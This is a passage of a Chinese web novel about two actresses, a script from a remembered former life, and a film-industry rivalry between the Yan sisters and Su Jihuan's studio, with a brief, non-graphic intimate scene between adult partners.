苏寄欢抓着她的手臂问她怎么喝了那么多酒，问她头疼不疼，难受不难受。 祝星亦摇摇头，“我没事，我不难受。” 没过一会儿，她被搀着回到苏寄欢的屋子里。 她窝在沙发上缓了许久，睁开眼看到苏寄欢忙忙碌碌煮醒酒茶。 “你不是说你要忙工作吗？怎么喝了那么多酒？”苏寄欢端着煮好的茶过来，白瓷汤匙搅了下放在茶几上。 看祝星亦还在歪着，苏寄欢拿过松软的抱枕垫在祝星亦腰下。 苏寄欢舀一勺茶吹了吹，轻缓送到祝星亦嘴边：“星星，快来喝。” 祝星亦尝了口，皱着眉咽下去。 苏寄欢再舀第二勺，祝星亦抬手推开，“不好喝，我不喝。我等下睡一觉就好了。” 苏寄欢拉过她的手腕哄她：“你不喝的话明早会头痛，乖，快喝。” 祝星亦蜷缩在沙发一角翻了个身，“不喝，我不喝。” 苏寄欢放下碗拿过屋子里的毛毯给祝星亦盖上，她拍拍祝星亦的肩轻声说：“那你先睡，我过半个小时之后叫你喝。如果半个小时你还不喝的话，我就生气了。” 祝星亦没听清苏寄欢说了什么。 等再翻个身醒来，已是半个小时后。 苏豆豆坐在茶几旁冲她喵喵叫。 苏寄欢拿过温过的醒酒茶送到祝星亦手边，“快喝，听话，不然苏豆豆都笑话你。” 听话。 苏豆豆走过来冲苏寄欢喵喵几声，仿佛在抗议自己没有笑话祝星亦。 祝星亦望着那碗醒酒茶，坐直身子一饮而尽。 瞧祝星亦喝完，苏寄欢才松口气。 她没过问祝星亦怎么喝成这个鬼样子，先问祝星亦能不能自己去洗澡。 得到不想洗的答案，苏寄欢抱起她。 祝星亦有点惊慌：“你……干什么？” 苏寄欢抱着她走向洗浴室，“不去洗澡的话，你要醉醺醺地睡在我床上吗？” 离浴室越来越近，祝星亦抓着她的肩头小声说：“我……自己可以洗。” 本就红扑扑的脸更红了。 苏寄欢抱紧了她，声音轻柔：“我知道你可以，但今天我想帮你。” 意识到这句话有点不对的祝星亦嘟囔道：“不要趁我喝醉的时候……” 苏寄欢盯着她的脸忽然笑了：“嗯？你在想什么？” 祝星亦抬头，看苏寄欢意味深长的笑，意识到对方趁她意识不清醒开她玩笑，手指掐了下苏寄欢的肩，声音*低低的：“不要笑我，你真讨厌。” 苏寄欢俯身凑近她，定定地看她，“不要，我不要你讨厌我。” 忽然离得那么近，祝星亦垂下眼摇头说：“苏老师，不要离我那么近，我身上的酒味很难闻。” “难闻就洗一洗，把你洗成香香的小狐狸。”来到浴室，苏寄欢把祝星亦放下，她欲要给祝星亦脱掉衣服，动作止住了，她指指浴缸放好的水说：“你先自己进去泡一会儿，我等下给你搓澡，我……” 祝星亦摇摇头，牵着苏寄欢的手放在自己腰上。 她还是有点晕，觉得眼前的人朦朦胧胧，像天上的月亮，像水里的月亮，像镜子里的月亮。 浓重的酒味混着柚子花实在不好闻，祝星亦握紧那只温温热的手向前走了一步说：“你帮我，我很需要你。” 苏寄欢沉默了会儿帮她脱掉衣服。 雾气缭绕，雪白的身体处处透着酒醉后的粉。 望着这具身体，苏寄欢深吸一口气，抿了抿唇，牵着她的手去浴缸。 走了半步，祝星亦抓着她不动。 “怎么了？”苏寄欢问。 祝星亦向前半步一手勾掉苏寄欢的睡衣，马上被苏寄欢按住手。 “星星你……” “跟我一起，好吗？” 苏寄欢无奈道：“我已经洗过了，我……” 没等她说完，祝星亦拽掉她的衣服快速拉着她步入浴缸。 苏寄欢身体失去平衡栽进浴缸中，浴缸中的水溅出一大片水花包裹住她赤条条的身子，乌黑的长发泡进水里浮在水面上。 “星……”苏寄欢从水里坐起来还未再多说一个字，被祝星亦捂着嘴巴。 “苏老师，帮我洗澡，还有……”祝星亦抬起手臂勾住她脖子，嗓音柔软，“还有，帮我。” 苏寄欢蹙眉，“你今天喝醉了，我不能……” “苏老师，我很清醒。正因为清醒，又喝了些酒，所以很想要。”祝星亦咬着唇低叹一声，她把自己整个人埋进水里又浮出来，伸手环住苏寄欢的腰，靠在她胸前，“苏老师，今天多给我一点，我很想要，很想很想。” 她握着苏寄欢的手喃喃：“多给我一点，让我忘记，让我不在乎。” 苏寄欢觉得祝星亦好像有心事，但这种情况下她不想多问什么，轻轻环住祝星亦说：“好，今天多给你一点。” 祝星亦轻吻她的手。 水面泛起阵阵涟漪，雾气更浓了，慢慢淹没了两人。 祝星亦仰着雪白的脖子半睁着眼。 声音越来越碎。 水热了凉，凉了热，直到倦意袭来，苏寄欢扶住祝星亦绵软的身子，把她擦干放到床上。 “别走，抱我。”她赤着身子缩在被窝里小声恳求。 苏寄欢忙安抚她：“等我穿上衣服。” 随意套上新的睡衣，苏寄欢钻进被窝里抱住祝星亦。 “今天怎么喝那么多酒？”苏寄欢嗅了嗅怀里的人，酒气消失，全是自己的柚子花香。 祝星亦抱紧苏寄欢的腰，头埋在她胸口，声音低闷：“因为不开心。我以后不喝那么多了，苏老师，我好困，我们睡觉好吗？就这样，你抱着我，我抱着你。” 苏寄欢低头吻她的发丝，“好，我们睡觉。” 抱着抱着人热了，祝星亦咬着苏寄欢的手小声哼哼唧唧。 苏寄欢问她怎么了，她抬起湿漉漉的眼，带着鼻音轻轻软软地说：“我还是有点想要，但你是不是累了。我……” “星星，你是不是有什么心事？最近很焦虑吗？”苏寄欢意识到祝星亦这种情况不是太正常，在一起这么久，祝星亦从未这样过。 是不是压力太大了才需要这样宣泄？ 祝星亦摇头否认：“没有心事，不焦虑，我只是想要。” 苏寄欢想要马上撬开她的嘴巴，想知道背后到底隐瞒了什么秘密。但看祝星亦雾气朦胧的眼，她咬着唇低叹一声。 过了会儿，她吻了吻祝星亦的额头，缓声说：“舒服点了吗？” “嗯。”祝星亦颤了颤身子，问她：“姐姐，累不累？” 苏寄欢垂下头看祝星亦愈渐朦胧的眼，“我不累，你舒服了就好。” 许久，她清洁了番又拥着怀里祝星亦窝在床上。 祝星亦的精神好了许多，她靠在苏寄欢肩头，声线柔软，“苏老师，你知道雏鸟情结吗？” 苏寄欢有些好奇道：“那是什么？” 她伸手捏捏祝星亦的鼻子又说：“你嘴里总是会忽然冒出稀奇古怪的词，我完全听不懂。” 祝星亦往她怀里蹭了蹭，慢慢解释：“一颗鸟蛋被抛弃了，但她被一只大鸟捡走孵化。小鸟破壳而出后睁开眼睛，理所当然地把那只大鸟当作自己的妈妈，她需要大鸟的保护和喂养才能生存。” “大鸟带她进组，带她学会待人接物，她也会躲在大鸟身后默默学习。学习她的表演方式，学习她的说话方式，学习她的坚韧和忍耐。小鸟对大鸟过分依赖，但随着羽毛越来越厚，她开始……” “所以，我的小鸟要飞出去了吗？”苏寄欢笑着打断她，“小鸟，你飞出去的话，还会回来吃饭吗？” 怀里的人沉默了片刻。 很快，祝星亦回答：“小鸟想飞到很远很远的地方，远到小鸟都不知道是哪里。” “你飞到哪里，我就把窝筑在哪里好不好？” 祝星亦摇头说：“我去筑窝就好，我不要你那么辛苦。” “可是小鸟要飞到很远的地方，又要衔着树枝筑窝，又要和当地的大鸟搞好关系，小鸟会很辛苦吧？”苏寄欢抵上她的额头，有些心疼道：“我不想我的小鸟这么辛苦。” “不辛苦，小鸟一点也不辛苦，小鸟也想让她的大鸟住进她的窝里，她也想给大鸟捕猎。” “我的小鸟真懂事。”苏寄欢认认真真望着怀里的人，她似乎有点知道祝星亦心里怀揣着的是什么问题，可答案不在手上，她无法核对。 但她想她应该给出自己的答案，因为她的小鸟需要。 她垂着眼，带着近乎虔诚的真挚：“可是小鸟啊，我很自私地想，我希望你永远都躲在我的羽翼之下。纵使我教会了你捕猎，教会了你躲避风雨、寒潮，我还是希望你可以被我好好保护着。因为我知道远方的路并不好走，它泥泞，它遍布荆棘，它到处是抵挡不了的诱惑。” “但我也知道，我的羽翼之下不是你广阔的天地，勇敢的你终有一天要与风雨搏击。” “等羽毛厚一点，再厚一点，等翅膀再强壮一点，小鸟再飞出去，好吗？然后，我还有个请求，可以让我跟在你身后看着你吗？太久不见我的小鸟，我会想你想到掉眼泪。” 苏寄欢搂紧了怀里的人。 她的话说得很明了，祝星亦听得懂。 但一切早就不一样了。 祝星亦往她怀里缩了缩，像只寻求庇佑的小兽：“好。小鸟会很听话，小鸟不见你也很想你。姐姐……” “嗯，你说。” “谢谢你。”祝星亦啄了下苏寄欢柔软的唇，快速把脑袋埋在她怀里，“我困了，我们睡觉好吗？” 手指梳理着她的发丝，苏寄欢点点头，轻柔地说：“好，星星，晚安。” 早起的时候，苏寄欢才发现祝星亦红肿的脚踝。 昨晚竟然没发现。 苏寄欢有些自责，轻手轻脚下床找了药给她抹上。 脚动了下，慢慢往被窝里缩。 被窝里的人小声问：“苏老师，怎么了？” 苏寄欢把她的脚往外拽了下去，把手里的膏药贴上去。擦了擦手，重新坐回被窝抱住怀里的人，“你脚是不是扭了？” “嗯，鞋跟太高，走路不小心扭到了。” “昨天你那件礼服很特别。”苏寄欢低眸看还有些倦意的祝星亦，“和你往常的礼服不一样。很不一样。是要换风格了吗？” 祝星亦睁开眼睛沉默了会儿说：“对，现在想成熟一点。” 苏寄欢笑得身子颤抖起来，“你才多大你就想要成熟一点？” “因为……我想像你一样。”祝星亦闭上眼靠在她胸口，安静地听她心脏跳动的声音，“我想像你一样坚强，像你一样可以保护别人。” 祝星亦贪恋地嗅着苏寄欢身上的柚子花香，她听苏寄欢的下午安排，要去见前段时间刚回国的老朋友。 只要和苏寄欢在一起，身心都会放松。 祝星亦轻轻嗯了声。 午后的咖啡厅流淌着爵士钢琴曲，落地窗外梧桐叶影婆娑。 “这位就是祝小姐？”沈苒将黑金包放在藤编椅背，“真漂亮，比镜头里还要精致三分。” 苏寄欢握住祝星亦微凉的手：“本来想着日后有时间再见面，没想到她今天有空。” 沈苒轻笑：“我今后就在国内工作了，随时有空和祝小姐见面。” 她眨眨眼，忽然意识到还没有介绍自己，“祝小姐，你好，我叫沈苒，是寄欢的老朋友。” 沈苒？ 祝星亦莫名觉得这个名字太过耳熟，总觉得在哪里听过。 甚至眼前这个女人的脸也很眼熟。 苏寄欢帮忙介绍：“沈苒是一名制片人，她最近回国发展，我帮她联系了一些影视圈的熟人，也给她介绍了一些艺人。” 沈苒打开自己的平板边笑边说：“真的是很感谢寄欢为我忙前忙后，寄欢现在全能发展是我没想到的。不过我也很为寄欢高兴，现在[苏盛］比以前壮大成熟不少，都开始运营影视工作室了。” 苏寄欢颔首道：“这次的《春风》还是和ilmeth合拍，等稍微成熟些就可以自己上路。” 沈苒不禁打趣：“所以你等上路前，再在我身上试验一次？” 苏寄欢的手指在祝星亦掌心画圈，她转过头轻声说：“星星，是这样的，沈苒筹划拍一部剧，我给她投资了，顺便负责一下制作相关，这也算是为[苏盛］独立运营影视工作室做准备。” 祝星亦了然。 沈苒抿着唇笑说：“如果把你多掰几瓣，你自己就可以扛起一个工作室。小祝，你可不知道，我最近要拍的剧是她自己写的剧本。而这个剧本，是她为你写的。” 苏寄欢为她写的剧本？ 祝星亦错愕半晌问：“苏老师……这是真的吗？” 苏寄欢点点头，“对，但是我写得不是特别好。” 祝星亦心底泛起一股感激，“谢谢你，苏老师。你居然会为我亲自写剧本……谢谢你。” 苏寄欢面露难色，“但沈苒邀请的是一个很年轻的班底，我挺害怕制作得不好，所以一直没跟你说。这个团队算一个试验团队，我想着从这个团队上学习一下团队经验。如果你不愿意的话，你可以拒绝。” 祝星亦摇摇头握住苏寄欢的手说：“没事的，我不在意这些。你亲自为我写剧本，我已经很感动了。我也愿意为你的试验奉献一次。” 苏寄欢眼眶发热，“好。沈苒，给她看一下剧情梗概吧。” 沈苒把平板放在祝星亦面前。 望着平板上的字，祝星亦瞬间恍惚。 她仓皇地抬起手指抚触那几个字，声音干涩：“沈小姐，这部剧的导演是不是叫韩雨玲。” 沈苒一愣，“你怎么知道我要邀请韩雨玲来执导？” 她抬头看向苏寄欢，有些纳闷：“寄欢，我好像还没跟你说我具体要邀请谁呢。” 苏寄欢同样疑惑。 而祝星亦的呼吸滞在平板上的字上。 剧本第一页写着这部剧的名字。 三个字。 《祈星海》。 第106章 我们还能回到过去吗 祝星亦指尖悬在那一页，《祈星海》三字刺得她眼睛发胀。 “不对，如果《祈星海》的编剧是韩雨玲，那编剧应该是……”祝星亦听见自己的声音像浸了水的木头，她滞了半晌，手指点开下一页，“应该是芽芽……” [编剧：芽芽］ 第二页的四个字敲击着祝星亦的心脏。 芽芽。 雅雅。 苏雅雅。 苏寄欢。 “对，芽芽。”苏寄欢勾起唇，笑花溅在眼尾，“是我，苏雅雅。” 午后的阳光将苏寄欢的身子勾勒出金边，耳边的碎发垂落，她轻轻抬起手，把发丝撩在耳后。 温柔沉静的视线穿过岁月的光影和前世奇怪又冰冷的目光重叠。 不对，不对。 祝星亦慌忙垂首避开那道温润目光，快速点开下一页。 剧情梗概刺入眼帘—— 来自小镇的孤傲舞者舒祈星因膝盖伤梦碎，她在大城市寻找机会屡试屡败，后来她寻到机会搭建梦想剧场，帮助其他追梦人实现舞台梦想后，找到了让自己重新发光发热的机会。她也慢慢突破心理那关，完成自我救赎。 是了，这就是《祈星海》的剧情。 [舒祈星］是她前世演过的唯一一个女主角，苏寄欢是《祈星海》的编剧。 怎么会，怎么会…… 玻璃窗外的阳光刺痛眼角，祝星亦低头掩饰自己的恍惚。 如果是这样的话，为什么前世她出演了《祈星海》，苏寄欢还与她形同陌路。 一记电光刺入太阳穴。 祝星亦低头看自己掌心。 可前世，主动和苏寄欢成为陌路人的，一直都是她自己啊…… 前世她和苏寄欢的每一次接触，主动远离主动避开的都是她。是她因为晏瑾年而讨厌苏寄欢，是她因为讨厌那个目光而屡次冷脸，是她因为道听途说的言论对苏寄欢充满偏见…… 假如，假如前世也是苏寄欢给她写了《祈星海》这个剧本……不对，为什么前世的苏寄欢会莫名其妙给她写剧本？ 祝星亦感到头痛欲裂，她想仔细回忆前世和苏寄欢打过的每一次照面，可那些记忆像一个个易碎的虚影，怎么都看不清。 她从未在乎过苏寄欢，又怎会记得苏寄欢。 苏寄欢发觉祝星亦状态不太好，忙抓紧她的手问：“星星，你怎么了？是不太喜欢这个剧本吗？没事，不喜欢就不演，这个剧本我写得本来就不是很好，我……” “很好。我很喜欢这个剧本，很喜欢。”祝星亦低着头笑说，连她自己都没有察觉到有些哽咽，“我……我有档期就出演，谢谢你，苏老师。” 她匆匆翻了下后面的东西，和前世完全重合的剧本内容令她颤着指尖。 祝星亦竭力稳住慌乱的情绪，强扯出一抹笑容应付完谈话。 走入电梯里，她木然地望着上升的楼层，叮的一声提示她家到了。 她低头看着自己的双手，惊觉手心已被汗浸透。 手机震动。 消息界面是沈苒发来的剧组名单。 是与前世完全重合的《祈星海》剧组信息。 她跌进柔软的床，目光落在那一页的信息上难以安宁。 前世她与苏寄欢打了多少次照面？她记不清了。 她蜷在被窝里努力回想，可是毫无办法。 前世她讨厌苏寄欢，哪里会记得…… 手机在黑夜里亮起，晏璟霖打来电话。 祝星亦按下接听键，用最温软的声线应下明晚与晏瑾年的饭局。 挂断电话，她往上拽了拽被子，抱紧怀里的狐光熠熠。 出门时外面飘了点细雨，祝星亦怕冷给自己裹了件外套。开车到贝洛丝餐厅停车场，在门口站了许久才推门而入。 她被侍者引到靠窗的位置，黑色风衣长筒靴的女人已经在窗边等着。 祝星亦在晏瑾年对面落座，她知道这里是她们第一次吃饭的地方。 她记得当初她们在包间用餐，而当年妄想吊着她的女人已经不再小心翼翼躲藏什么。 对方修长的手指在桌上敲了敲，点了当初祝星亦点过的几道菜。 杂蔬青酱汤，黑松露厚切牛舌，香煎海鲈鱼，炭烤羊排，还有贝加西西里。 酒先上了，侍者倒酒，晏瑾年盯着祝星亦的脸看了许久。观察力太过于敏锐，她并拢膝盖问：“星星，你怎么了？你有心事？” 祝星亦随口敷衍：“是啊。” “因为我姐姐？” 听到这个，祝星亦垂着眼合住手掌，又撑开，“对，没错。” 晏瑾年悬在半空的手顿了顿，她看着对面的人抬起手臂晃动着酒杯。她今天特意把餐厅定在贝洛丝，但现在已与当年不一样。 晏瑾年呼吸里带了些酸涩：“星星，对不起，我姐做事太强硬了，从来都没考虑过你的感受。要是换作是我，绝对不会让你陷入这般为难的境地。” “你姐啊？你姐可好了。”祝星亦故意让自己的尾音蘸了点腻人的蜜意：“她给我带来了不少东西。倒是你，口口声声说喜欢我，可实际上又能给我什么？” 身上的饰品突然变得沉重，晏瑾年攥紧手调整呼吸。 “我姐确实考虑得很周全，我妈一直教导她打理晏氏，她在为人处世方面很有一套。”她强迫自己与祝星亦对视，却发现对方目光落在斜方的玻璃窗外。 “照你这么说，我与其跟你在一起，还不如去跟你姐在一起咯？” 晏瑾年颈上的宝石项链忽然暗了下去，她抚上自己的腕表，声音轻得像叹息：“我知道你是在开玩笑，你并不了解我姐，她为人冷漠，手段狠辣，顺着她或许还能相安无事，要是违逆了她，恐怕没什么好下场。” 玉镯磕碰到桌面发出清脆的声响，祝星亦发出轻嗤：“你姐对你这么好，你怎么还在背后说她坏话？” “星星，你是认真的吗？”愣怔许久，晏瑾年的尾音飘散在切换的钢琴曲中，侍者恰好端着餐点过来。 绵密的雨打在玻璃床上，刮擦出一条条纤细的水痕。 餐刀在瓷盘上拖出小小的摩擦声，祝星亦叉起一块肉，故作懵懂地反问：“什么认真的？夸你姐这件事吗？” 晏瑾年觉得这个话题不宜再继续下去，轻轻摇了摇头，“没事，我们先用餐。” 窗外的雨更大了点，走出餐厅，白澜已经在外等候。撑伞走到户外停车场，夜已深，晚风吹得身上起了鸡皮疙瘩。 “再见。”祝星亦并未久留，打开副驾驶的车门坐了进去。 叩叩。 指关节敲门，晏瑾年立在副驾驶车窗外。 祝星亦降下窗户，潮湿的夜风裹着雨水涌进温暖的车厢，橘花味霎时涌进晏瑾年的呼吸里。 晏瑾年垂眸看车里的人，“星星，这是我们第一次一起用餐的地方，我以为你会说些过去的事情，但你并没有。” 一顿饭下来，祝星亦只是在机械地讲工作。 她嗅着从祝星亦身上飘来的味道，这个味道和苏寄欢的味道相似。 眼角忽然涌上一股灼烧的刺痛感。 她的手扣住车框，雨丝滴落到手背上却浑然不觉：“你不能像以前那样喜欢我吗？一点都不能吗？” 雨夜的寂静比靠在枕边的心跳刺耳。 淋在身上的雨冲刷了过去。 “没有别的事我就先走了。”祝星亦始终没有抬眼，长睫在暖光的车内灯光下投下灰色的影，“白澜，开车。” 车窗升起。 闪灵的轮胎驶过油画一样的积水。 晏瑾年上前追了两步。 雨丝掩住了摩根石粉，远处的霓虹明明灭灭，她倒退半步，被初秋一并吞没。 “椰子，要走吗？”罗瑜撑着伞走过来，忽然察觉到晏瑾年状态不太对劲，“椰子……你怎么了？” 伫立在雨中许久，晏瑾年摇头转身，“无事。” 开门坐进后座，她后颈重重撞在头枕上，“回家。” 雨更大了些，晏瑾年倚在真皮座椅里，黑色风衣皱了些边角，凝着水雾的长睫像被雨打湿的蝶翼。 “椰子？”罗瑜试探着开口，指尖摩挲方向盘上的纹路，“今天，菜不合胃口？” 她望着后视镜里晏瑾年略显苍白的脸，黑色的衣服几乎将人完全吞没。 晏瑾年抬手揉着太阳穴，“我姐最近在忙什么？” “大小姐在忙您影视工作室的招商工作，下周五她有空，你们要不要约个饭？”罗瑜调高空调温度，“她最近很忙，你多关心关心她。” 关心？ 呵。要她关心晏璟霖？ 暗光落在晏瑾年掩不住倦意的脸上，雨幕里五光十色的光沉入她的黑眸。 “下周还要出差，没时间跟她打招呼。”晏瑾年将冰凉的手背贴在眼角处，淋漓的雨打在车窗上，像平底锅上煎煮的牛肉，“那份对赌协议，法务部拟好了吗？” 罗瑜拍拍副驾驶位置上的盒子，“拟好了，我今天取的时候，财务部发了[晏影］的商务和财报最新数据，数字版我发你邮箱了。” 欧陆驶过麓湖畔，晏瑾年拿起平板认真看邮箱里的数据。 “我还给你发了《春风吹又生》的预测数据，分账会比预期高出37%，[苏盛］光这部剧的现金流就” “我想看[苏盛］的资产负债表，还有注资后的详细股权结构。”晏瑾年点开后浏览片刻熄掉屏幕，平板倒扣在座椅上，路灯在她冷白的脸上投下明暗交错的阴影，“还有，《春风》那部剧，[苏盛］的投资占比到底是多少？” 罗瑜握方向盘的手紧了紧：“但[苏盛］和ilmeth的合作合同是背靠背协议，财务总监说暂时无法” “尽量给我调出来，调完分晏璟霖一份。之前的合作不愉快，我怕下次合作ilmeth还会阴我。”晏瑾年指腹揉着鼻梁，“[苏盛］最近有其他商务吗？” “最新的商务显示她们要跟龙宁谈合作，龙宁的执行总监Philippa还是云廊湾区的负责人。” 晏瑾年指甲嵌入掌心，“她倒是拉了个大人物。” 雨比市中心的时候更大了些，晏瑾年望着逐渐模糊的麓城轮廓沉默。 数月前她还能独自操持[晏影］，满心打算让[晏影］成为能追上ilmeth步伐的影视公司，工作室成立后她便失去了控制权。 晏璟霖去了哪里从未告诉过她，这个女人似乎在通过一个个签署下的合同告诉她，晏氏她能管理好，[晏影］她也能完全掌握。 车窗外闪着模糊的光，晏瑾年望着水痕出声：“签完协议后约Philippa。” “可是椰子，云廊在《春风》里有投资，想必之前就和苏寄欢已经谈过了，接下来的合作只是走个过场。” “《春风》能招到云廊，是ilmeth的本事，不是苏寄欢的本事。”晏瑾年声音里带着不屑，“离了ilmeth，苏寄欢的[苏盛］和我没有那么大的竞争力，帮我约。” 拐过一个路口，车速慢了下来，罗瑜看着后视镜中晏瑾年的侧脸问：“那要和大小姐说一声吗？” “不必。” 签完协议的周日，晏瑾年抵达湾区格城南湾高尔夫球场。 南湾高尔夫球场坐落在格城的一座岛上，球场依山傍海，海岸线风景很好，海风吹得也很舒服。 入住酒店一晚，次日晏瑾年早早去了球场，她握着定制球杆站在发球台，远处的海平面泛着青灰色。 Philippa从球场工作人员的电瓶车上下来，接过球童递来的推杆，腕上的PIAGET闪着晨间的光，“听说璟霖的球技很好，你有没有跟她学到过东西？” “学到了不少，她有空就会教我。”晏瑾年颔首与她握了握手，跟着她的步伐去发球处。 “璟霖最近在忙什么？[晏影］影视工作室的事？”Philippa挥出第一杆，白色小球划出漂亮弧线落在球道中央。 “是，她特意抽空帮我参谋。” “真是一个好姐姐，你妈妈真有福气，养了两个争气的女儿。” “我还是要跟我姐姐多学习，打理[晏影］还是新组建的影视工作室，她都很上心。”晏瑾年侧眸注意到Philippa助理手中的水杯，水杯上的印花杯套是ilmeth的logo，火焰的变形设计。 晏瑾年将球故意打进水障碍区，状似无意地说：“[晏影］正在筹备《孤独诗人》，等筹备完” “《孤独诗人》啊……听说你们找了泰大影业联合出品？”Philippa突然打断，推杆轻轻撞击球体，“之前泰大和云廊合作，亏个底朝天不说，还被泰大那边嘲讽，这事你不知道吗？” 她漫不经心说着，余光瞥见晏瑾年握着球杆的手指关节微微发白。 海风掀起晏瑾年裙摆，她按住飞扬的发丝说：“这个我自然是知道的，不过我要聊的是我这边要筹拍的新剧。” “新剧啊。”Philippa摘下遮阳帽走向休息区，栗色的马尾纹丝不乱。 不远处的球童迅速跑去捡球，晏瑾年跟着Philippa来到遮阳处。 助理给Philippa递上水，她拧开盖子饮了口坐下去，“但云廊已经要和[苏盛］合作了，也签署了竞业协议，所以暂时不能和你合作。” 饮下温温热的水，她满意地捕捉到年轻的晏瑾年瞬间僵硬的肩线。 晏瑾年将球杆递到罗瑜手里，指腹反复摩挲着翠色的腕表。 她并着双膝，扬起精心练习过的完美微笑：“您也知道，晏氏最近完成了产业链整合，股价两个月内涨了……” “瑾年啊，”Philippa放下水杯，杯底和石板的碰撞脆响截断话语，“去年晏氏也注资了你拍的《辞旧赋》，成本都收回了吗？奔着你的名气去投资的朋友们，有没有对你有怨言？” 草叶间窜过的风突然变得刺骨，晏瑾年感觉后颈渗出细密的冷汗。 那时晏璟霖将财务报表摔在她面前，指责她怎么这么没用。 拿着大爆ip，剧扑得狗都不想看。 每每提到这部剧，都会有人发出一阵嘲讽。 拍了一部扑剧，要被人戳一辈子脊梁骨。 “每个项目都有风险周期，《辞旧赋》恰好撞了大爆的《寄明月》，这也是我们没想到的。”晏瑾年颤着声音说，“不过《寄明月》的成功实在让人意想不到，明明是很普通的题材，却靠卖cp火遍大江南北，就连一个十八线小爱豆都连夜爆火升咖。但这并不代表苏寄欢的押注就……” “可是观众喜欢啊。”Philippa忽然笑出声，保养得宜的手指划过手机屏幕，“寄欢还是很能赚钱的，跟着她押注《寄明月》的人实在是太享福了。剧播之前，外界人都说那部剧会是一部扑剧，说到时候肯定亏得裤衩都不剩，谁想到播出之后那么火？我们老总都眼红得不得了，说什么也要支持下寄欢的影视工作室。” 晏瑾年欲要说什么，又被Philippa的话截断：“不过就我自己来说，我其实也很看好你的[晏影］。毕竟[晏影］有晏氏做保障，投资你们的话，性价比很高。但是……” “但是什么？” Philippa收起手机，话锋一转：“你母亲身体好些了吗？去年慈善晚会，我看她吞了些止痛药，她现在还好吗？” “她今年年初就去了瑞士疗养。”晏瑾年的膝盖开始发麻，“不过晏氏重大决策仍需她指点一二。” 这是个拙劣的谎言。 自从去年董事会上晏璟霖拿到实权，晏珂再未对晏氏的事过问过。 晏璟霖讨厌那些老不死的人对她指指点点，从最初接手晏氏打理晏氏时，就逐步切断和那些人的联系。 晏氏未来掌舵人的含金量还不需要那群老东西评判。 有晏珂在，晏氏和那些人必须保持交情，若是晏珂不在了，晏璟霖会断得彻底。 但这对晏氏来说，也不知是好事还是坏事。 Philippa望着远方的海轻声喃喃：“你妈妈培养你姐姐费了不少心力，你姐姐也确实是个人物。” 目光落在身侧的人腕上的表上，Philippa眼中带着几分漫不经心：“云廊在协议期内确实没办法和对手合作，不过我倒是认识厦明影业的段老板。但最近我听说寄欢也在找机会和段总谈谈合作的事儿，说是打算一起拍个电影。” 晏瑾年表情一滞，眼里闪过惊讶。 苏寄欢才步入影视行业多久，就让初出茅庐的[苏盛］去做上线电影？ 厦明影业向来走高质精品路线，结合[苏盛］和ilmeth合拍的《春风》来看，苏寄欢也是想走精品路线大展拳脚。 胃口真不小。 钱都不知道能不能赚到，还要走质量。 晏瑾年端起罗瑜递上来的柠檬水，杯壁凝结的水珠顺着掌心流到手腕上，“我对段总早有耳闻，如果……” Philippa忽然压低声音：“可是瑾年啊，电影和电视剧是不一样的。火了还好，扑了真的血亏。万一爆雷了，所有的投入都会打水漂。” “你和寄欢都是刚入行，投资回报这事都难说。前年我们云廊押了部贺岁片，结果他们电影亏了四亿，我们本都收不回来，咬咬牙都迈不过这个坎儿。”Philippa慢慢起身，“号召力不代表稳票房，我们也是亏怕了，不想做不把钱当钱的傻子。” 尖锐的语言里始终在嘲笑《辞旧赋》当年的惨状。 Philippa戴上遮阳帽拿起球杆，“瑾年啊，我其实挺佩服寄欢的。你有璟霖给你做保障，她完全靠自己去赌。你知道当初她邀请那个祝小姐来演《寄明月》，还把祝小姐提到二番时，有多困难吗？” “本身剧本就没有爆点和竞争力，整部剧又只有寄欢一个人扛大梁，还邀请毫无演技的新人出演，甚至给新人提番。好多投资人看到这里都撤资了，寄欢亲自登门挽回那些投资人，自己也填了许多资金。” “她是吃过苦的人，不是在蜜糖罐里长大的娇花。这种破釜沉舟，你们晏家的女儿会懂吗？” “她敢赌，也赌赢了。她也让所有人看到，她赌一次赢一次。” 晏瑾年想起当初在鑫央影视城拍摄《辞旧赋》时还在和导演嘲笑隔壁《寄明月》整天嘻嘻哈哈，定是一部扑剧。 现在她才意识到，困在棋局里的一直都是*自己。 “起风了。”Philippa抬头看天，声音轻淡，“还要继续吗？” 第107章 可怜的流浪狗狗 一周后，宴会厅门口 罗瑜喊了晏瑾年几声，她才缓过神。 从车里下来，裙摆扫过宴会厅的台阶，罗瑜跟在晏瑾年身旁担忧道：“椰子，你还在想云廊的事吗？” 自上次和Philippa见面聊过，晏瑾年的气压低到不行。罗瑜早料到云廊的合作谈不下来，好声安慰了晏瑾年许久，晏瑾年仍是提不起什么精神。 晏瑾年从未这样失意过，往日和旁人谈合作失败，她都不甚在意。云廊虽说是条大鱼，但愿意和晏影合作的不在少数，怎么晏瑾年如此在意这个云廊？ “不是，我已经不在意了。”晏瑾年抓着裙子来到宴会厅门口，侍者走过来为她开门，她侧着身子看了眼空荡的走廊，红毯像灼烧在黑夜的火焰蜿蜒到远方。 她想到那天和Philippa的谈话，这个女人字字句句毫不吝啬对晏璟霖和苏寄欢的赞美与欣赏，好听的词都堆砌不下了，女人还讲得乐此不疲。 令人作呕。 晏瑾年踏入宴会厅后寻到了晏璟霖。 墨发挽起，一身香槟色的礼服，浮光跃金。 “我以为你会多坚持坚持，这么快就放弃了，可惜。”晏璟霖的嗓音裹着雨天亚寒带针叶林的味道，“Philippa最宝贝的女儿最近飞到国外看演唱会，你有想过去为她约那个漂亮的歌手和她一起吃顿饭吗？” “没有。” “我也不指望你能谈下来，毕竟你不是我。”晏璟霖的指尖划过玻璃杯边缘，她侧过身子睨着晏瑾年发笑：“我的好妹妹，你需要学的还有很多。” 晏瑾年嫌恶地冷瞥她一眼，“我不需要事事都跟你学，你也不是常胜将军。” “如果你能做个听话的小兵，这个常胜将军可能就是你。”晏璟霖动了手腕，宴会厅刺眼的灯落在眼底，溢出灼人的光，“祝星亦现在就很听话，也许她会比你更优秀。” 晏瑾年看着晏璟霖的侧影，指甲陷入掌心。 年幼时晏璟霖每一次生日宴，她都要作为听话的妹妹为晏璟霖演奏钢琴曲。宾客们举着香槟为晏璟霖的生日庆贺，她弹完钢琴穿着满身蝴蝶结的礼服给晏璟霖递上切蛋糕的刀。 晏氏的长女总是备受人期待，晏氏的次女是长女最方便的辅助工具。 [晏影］是因为晏璟霖需要才存在。 晏瑾年也是因为晏璟霖需要才存在。 茂盛的大树身边要有一棵小树做陪衬，风一吹，都是对那棵大树的欢呼声。 高跟鞋的哒哒声越来越近，晏瑾年回过神，看见祝星亦披着宴会厅内金色的光走来。 